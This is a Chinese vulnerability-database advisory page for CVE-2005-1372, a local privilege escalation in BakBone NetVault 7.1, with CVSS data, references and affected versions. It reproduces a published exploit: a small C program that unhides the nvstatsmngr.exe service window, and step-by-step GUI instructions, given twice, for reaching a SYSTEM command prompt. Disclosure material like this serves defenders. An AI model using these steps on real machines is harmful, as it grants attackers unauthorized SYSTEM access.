CVE-2005-1372
CVSS4.6
发布时间 :2005-05-03 00:00:00
修订时间 :2016-10-17 23:19:26
NMCOES    

[原文]nvstatsmngr.exe process in BakBone NetVault 7.1 does not properly drop privileges before opening files, which allows local users to gain privileges via the Help menu.


[CNNVD]BakBone NetVault NVStatsMngr.EXE本地提权漏洞(CNNVD-200505-894)

        BakBone NetVault 7.1中的nvstatsmngr.exe进程在打开文件之前没有正确收回权限,本地用户可以通过帮助菜单获取权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:bakbone:netvault:7.3
cpe:/a:bakbone:netvault:7.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1372
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1372
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-894
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=111464410324243&w=2
(UNKNOWN)  BUGTRAQ  20050427 Privilege escalation in BakBone NetVault 7.1
http://www.securityfocus.com/bid/13408
(UNKNOWN)  BID  13408
http://www.vupen.com/english/advisories/2005/0420
(UNKNOWN)  VUPEN  ADV-2005-0420
http://xforce.iss.net/xforce/xfdb/20302
(UNKNOWN)  XF  bakbone-netvault-gain-privileges(20302)

- 漏洞信息

BakBone NetVault NVStatsMngr.EXE本地提权漏洞
中危 设计错误
2005-05-03 00:00:00 2005-10-20 00:00:00
本地  
        BakBone NetVault 7.1中的nvstatsmngr.exe进程在打开文件之前没有正确收回权限,本地用户可以通过帮助菜单获取权限。

- 公告与补丁

        暂无数据

- 漏洞信息 (1161)

BakBone NetVault 7.1 Local Privilege Escalation Exploit (EDBID:1161)
windows local
2005-04-27 Verified
0 Reed Arvin
N/A [点击下载]
// ===== Start UnhideNetVaultServiceWindow.c ======
#include <stdio.h>
#include <windows.h>

int main( void )
{
	HWND hWnd;
	char szWindowName[] = "C:\\Program Files\\BakBone Software\\NetVault\\bin\\nvstatsmngr.exe";

	printf( "Finding window %s\n", szWindowName );

	hWnd = FindWindow( NULL, szWindowName );

	if ( hWnd == NULL )
	{
		printf( "ERROR! Could not find window %s\n", szWindowName );
	
		exit( 1 );
	}

	ShowWindow( hWnd, SW_SHOW );

	return 0;
}
// ===== End UnhideNetVaultServiceWindow.c ======

/*
1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window will
   appear. Access the window menu in the upper left and click Properties.

2. Right click on the word Window under the Display Options and click What's This?

3. Right click on the help text that is shown in yellow and click Print Topic.

4. Right click on any printer and click Open.

5. Click Help, Help Topics.

6. Right click in the right side of the help screen and click View Source.

7. Notepad will appear (running under the context of the LocalSystem account).
   Click File, click Open.

8. Change Files of type: to All Files, navigate to the system32 directory and
   locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the LocalSystem
account.

*/

// milw0rm.com [2005-04-27]
		

- 漏洞信息

15900
BakBone NetVault nvstatsmngr.exe Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

NetVault contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered by a local attacker initiating the help functionality of the nvstatsmngr.exe process to execute arbitrary commands on the system with SYSTEM level privileges. This flaw may lead to a loss of integrity.

- 时间线

2005-04-27 Unknow
2005-04-27 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

BakBone NetVault NVStatsMngr.EXE Local Privilege Escalation Vulnerability
Design Error 13408
No Yes
2005-04-27 12:00:00 2009-07-12 02:06:00
Reed Arvin <reedarvin@gmail.com> is credited with the discovery of this vulnerability.

- 受影响的程序版本

BakBone NetVault 7.3
BakBone NetVault 7.1.1
BakBone NetVault 7.1
BakBone NetVault 7.0
BakBone NetVault 7.3.1
BakBone NetVault 7.1.3
BakBone NetVault 7.1.2

- 不受影响的程序版本

BakBone NetVault 7.3.1
BakBone NetVault 7.1.3
BakBone NetVault 7.1.2

- 漏洞讨论

BakBone NetVault is affected by a local privilege escalation vulnerability. A local user can manipulate 'nvstatsmngr.exe' to escalate privileges to that of the LocalSystem account.

An attacker can exploit this vulnerability to gain SYSTEM level privileges on an affected computer.

NetVault versions prior to 7.1.2/3 and 7.3.1 are vulnerable.

- 漏洞利用

Proceeding through the following steps will result in a command prompt running with SYSTEM level privileges:
1. Utilize the exploit to get the C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe
window to appear. Access the window menu in the upper left and click
Properties.
2. Right click on the word Window under the Display Options and click
What's This?
3. Right click on the help text that is shown in yellow and click Print Topic.
4. Right click on any printer and click Open.
5. Click Help, Help Topics.
6. Right click in the right side of the help screen and click View Source.
7. Notepad will appear (running under the context of the LocalSystem
account). Click File, click Open.
8. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe. Right click cmd.exe and choose Open.

The following exploit will unhide the 'nvstatsmngr.exe' service window:

- 解决方案

The vendor has released upgrades to address this issue. Please contact the vendor to obtain fixes.

- 相关参考

 

 

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